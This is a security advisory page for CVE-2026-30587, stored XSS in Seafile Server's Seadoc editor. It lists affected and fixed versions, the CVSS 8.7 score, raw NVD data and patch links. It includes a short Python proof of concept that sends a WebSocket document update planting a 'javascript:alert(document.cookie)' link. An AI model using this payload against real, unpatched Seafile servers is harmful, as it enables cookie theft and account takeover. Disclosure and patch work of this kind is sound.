Security Vulnerability Report
中文
CVE-2026-30587 CVSS 8.7 HIGH

CVE-2026-30587

Published: 2026-03-25 18:16:32
Last Modified: 2026-05-10 14:16:50

Description

Multiple Stored XSS vulnerabilities exist in Seafile Server version 13.0.15,13.0.16-pro,12.0.14 and prior and fixed in 13.0.17, 13.0.17-pro, and 12.0.20-pro, via the Seadoc (sdoc) editor. The application fails to properly sanitize WebSocket messages regarding document structure updates. This allows authenticated remote attackers to inject malicious JavaScript payloads via the src attribute of embedded Excalidraw whiteboards or the href attribute of anchor tags

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:seafile:seafile_server:*:*:*:*:professional:*:*:* - VULNERABLE
cpe:2.3:a:seafile:seafile_server:13.0.15:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:seafile:seafile_server:13.0.16:*:*:*:professional:*:*:* - VULNERABLE
Seafile Server <= 13.0.15
Seafile Professional Server <= 13.0.16-pro
Seafile Server <= 12.0.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncio import websockets import json # Proof of Concept for CVE-2026-30587 # This script simulates sending a malicious WebSocket message to the Seadoc editor # to inject JavaScript via the href attribute of an anchor tag. async def send_payload(ws_url, session_token): headers = { "Cookie": f"seahub_session={session_token}" } async with websockets.connect(ws_url, extra_headers=headers) as websocket: # Construct a malicious document update payload # Injecting 'javascript:alert(1)' into an href attribute malicious_payload = { "type": "doc_update", "content": [ { "type": "anchor", "attrs": {"href": "javascript:alert(document.cookie)"}, "text": "Click Me" } ] } print("[+] Sending malicious payload...") await websocket.send(json.dumps(malicious_payload)) response = await websocket.recv() print(f"[+] Server response: {response}") if __name__ == "__main__": # Replace with actual target WebSocket URL and valid session token TARGET_WS = "wss://target-seafile-server/seadoc/ws/" SESSION_TOKEN = "valid_user_session_token" asyncio.run(send_payload(TARGET_WS, SESSION_TOKEN))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30587", "sourceIdentifier": "[email protected]", "published": "2026-03-25T18:16:31.793", "lastModified": "2026-05-10T14:16:49.860", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple Stored XSS vulnerabilities exist in Seafile Server version 13.0.15,13.0.16-pro,12.0.14 and prior and fixed in 13.0.17, 13.0.17-pro, and 12.0.20-pro, via the Seadoc (sdoc) editor. The application fails to properly sanitize WebSocket messages regarding document structure updates. This allows authenticated remote attackers to inject malicious JavaScript payloads via the src attribute of embedded Excalidraw whiteboards or the href attribute of anchor tags"}, {"lang": "es", "value": "Múltiples vulnerabilidades de XSS Almacenado existen en Seafile Servidor versión 13.0.15, 13.0.16-pro, 12.0.14 y anteriores, y fueron corregidas en 13.0.17, 13.0.17-pro y 12.0.20-pro, a través del editor Seadoc (sdoc). La aplicación no logra sanear correctamente los mensajes de WebSocket relacionados con las actualizaciones de la estructura del documento. Esto permite a atacantes remotos autenticados inyectar cargas útiles maliciosas de JavaScript a través del atributo src de las pizarras blancas incrustadas de Excalidraw o el atributo href de las etiquetas de anclaje."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:seafile:seafile_server:*:*:*:*:professional:*:*:*", "versionEndExcluding": "12.0.20", "matchCriteriaId": "79197CA1-6A7E-4165-AD57-982C8824B82C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:seafile:seafile_server:13.0.15:*:*:*:community:*:*:*", "matchCriteriaId": "ECCCED4B-9663-4BC1-BD35-995B3DCDAC95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:seafile:seafile_server:13.0.16:*:*:*:professional:*:*:*", "matchCriteriaId": "880080C5-9A1A-4D9B-83AB-33D8C21FCF38"}]}]}], "references": [{"url": "https://gist.github.com/gabdevele/1b7e30ab367b26042fa32f45aa12ce2f", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/haiwen/seadoc-editor/commit/8fa988aaede072b2ae073d1b2edcb2fc691423b2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/haiwen/seahub/commit/4c5301747bdb84c64b2f2b3230417df2d1cc8987", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://manual.seafile.com/12.0/changelog/changelog-for-seafile-professional-server/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://manual.seafile.com/13.0/changelog/changelog-for-seafile-professional-server/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://manual.seafile.com/13.0/changelog/server-changelog/", "source": "[email protected]", "tags": ["Release Notes"]}]}}